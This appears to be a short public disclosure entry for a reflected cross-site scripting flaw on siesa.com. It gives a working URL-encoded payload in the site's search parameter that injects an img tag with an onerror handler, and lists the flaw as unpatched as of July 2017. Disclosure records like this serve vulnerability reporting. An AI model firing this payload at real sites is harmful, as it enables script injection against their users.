siesa.com XSS vulnerability

Vulnerable URL: http://siesa.com/buscador?b=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 854630 VIP website status...